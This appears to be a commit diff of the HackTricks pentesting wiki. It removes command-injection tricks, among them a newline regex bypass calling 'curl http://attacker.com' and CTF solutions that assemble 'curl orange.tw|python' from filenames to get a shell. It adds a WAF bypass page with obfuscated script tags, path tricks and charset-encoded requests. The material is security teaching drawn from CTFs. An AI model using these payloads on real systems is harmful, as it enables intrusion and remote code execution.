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GitBook: [#3275] No subject
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4 changed files with 63 additions and 102 deletions
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@ -320,6 +320,7 @@
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* [Tomcat](network-services-pentesting/pentesting-web/tomcat.md)
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* [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
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* [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
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* [WAF Bypass](network-services-pentesting/pentesting-web/waf-bypass.md)
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* [Web API Pentesting](network-services-pentesting/pentesting-web/web-api-pentesting.md)
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* [WebDav](network-services-pentesting/pentesting-web/put-method-webdav.md)
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* [werkzeug](network-services-pentesting/pentesting-web/werkzeug.md)
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@ -163,99 +163,6 @@ You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
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/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
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```
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### Bypass potential regexes
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```bash
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# A regex that only allow letters and numbers migth be vulnerable to new line characters
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1%0a`curl http://attacker.com`
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```
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### RCE with 5 chars
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```bash
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# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
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#Oragnge Tsai solution
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## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
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http://host/?cmd=>ls\
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http://host/?cmd=ls>_
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http://host/?cmd=>\ \
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http://host/?cmd=>-t\
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http://host/?cmd=>\>g
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http://host/?cmd=ls>>_
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## Step2: generate `curl orange.tw|python` to file "g"
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## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
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http://host/?cmd=>on
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http://host/?cmd=>th\
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http://host/?cmd=>py\
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http://host/?cmd=>\|\
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http://host/?cmd=>tw\
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http://host/?cmd=>e.\
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http://host/?cmd=>ng\
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http://host/?cmd=>ra\
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http://host/?cmd=>o\
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http://host/?cmd=>\ \
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http://host/?cmd=>rl\
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http://host/?cmd=>cu\
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http://host/?cmd=sh _
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# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
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## Finally execute the file "g"
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http://host/?cmd=sh g
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# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
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# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
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https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
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## Execute tar command over a folder
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http://52.199.204.34/?cmd=>tar
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http://52.199.204.34/?cmd=>zcf
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http://52.199.204.34/?cmd=>zzz
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http://52.199.204.34/?cmd=*%20/h*
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# Another curiosity if you can read files of the current folder
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ln /f*
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## If there is a file /flag.txt that will create a hard link
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## to it in the current folder
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```
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### RCE with 4 chars
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```bash
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# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
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# it will follow the same principle of creating the command `ls -t>g` in a file
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# and then generate the full command in filenames
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# generate "g> ht- sl" to file "v"
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'>dir'
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'>sl'
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'>g\>'
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'>ht-'
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'*>v'
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# reverse file "v" to file "x", content "ls -th >g"
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'>rev'
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'*v>x'
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# generate "curl orange.tw|python;"
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'>\;\\'
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'>on\\'
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'>th\\'
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'>py\\'
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'>\|\\'
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'>tw\\'
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'>e.\\'
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'>ng\\'
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'>ra\\'
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'>o\\'
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'>\ \\'
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'>rl\\'
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'>cu\\'
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# got shell
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'sh x'
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'sh g'
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```
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## Read-Only/Noexec Bypass
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If you are inside a filesystem with the **read-only and noexec protections** there are still ways to **execute arbitrary binaries**. One of them is by the use of **DDexec**, yo can find an explanation of the technique in:
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62
network-services-pentesting/pentesting-web/waf-bypass.md
Normal file
62
network-services-pentesting/pentesting-web/waf-bypass.md
Normal file
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@ -0,0 +1,62 @@
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# WAF Bypass
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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```bash
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# IIS, ASP Clasic
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<%s%cr%u0131pt> == <script>
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# Path blacklist bypass - Tomcat
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/path1/path2/ == ;/path1;foo/path2;bar/;
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# Charset encoding
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application/x-www-form-urlencoded;charset=ibm037
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multipart/form-data; charset=ibm037,boundary=blah
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multipart/form-data; boundary=blah; charset=ibm037
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##Python code
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import urllib
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s = 'payload'
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print(urllib.quote_plus(s.encode("IBM037"))
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## Request example
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GET / HTTP/1.1
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Host: buggy
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Content-Type: application/x-www-form-urlencoded; charset=ibm500
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Content-Length: 61
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%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
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```
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It's common in cloud based WAFs that if the payload is bigger than X size, the request won't be checked by the WAF. You can simply use that to bypass them.
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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@ -299,15 +299,6 @@ Through Security Skills as a Service, we help organizations to **defend against
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{% embed url="https://securityhubs.io/" %}
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{% endhint %}
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## Get access by overwriting a bit
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More than a real attack this is a curiosity. IN the CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) you could flip 1 bit from any wordpress file. So you could flip the position `5389` of the file `/var/www/html/wp-includes/user.php` to NOP the NOT (`!`) operation.
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```php
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if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
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return new WP_Error(
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```
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## **Panel RCE**
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**Modifying a php from the theme used (admin credentials needed)**
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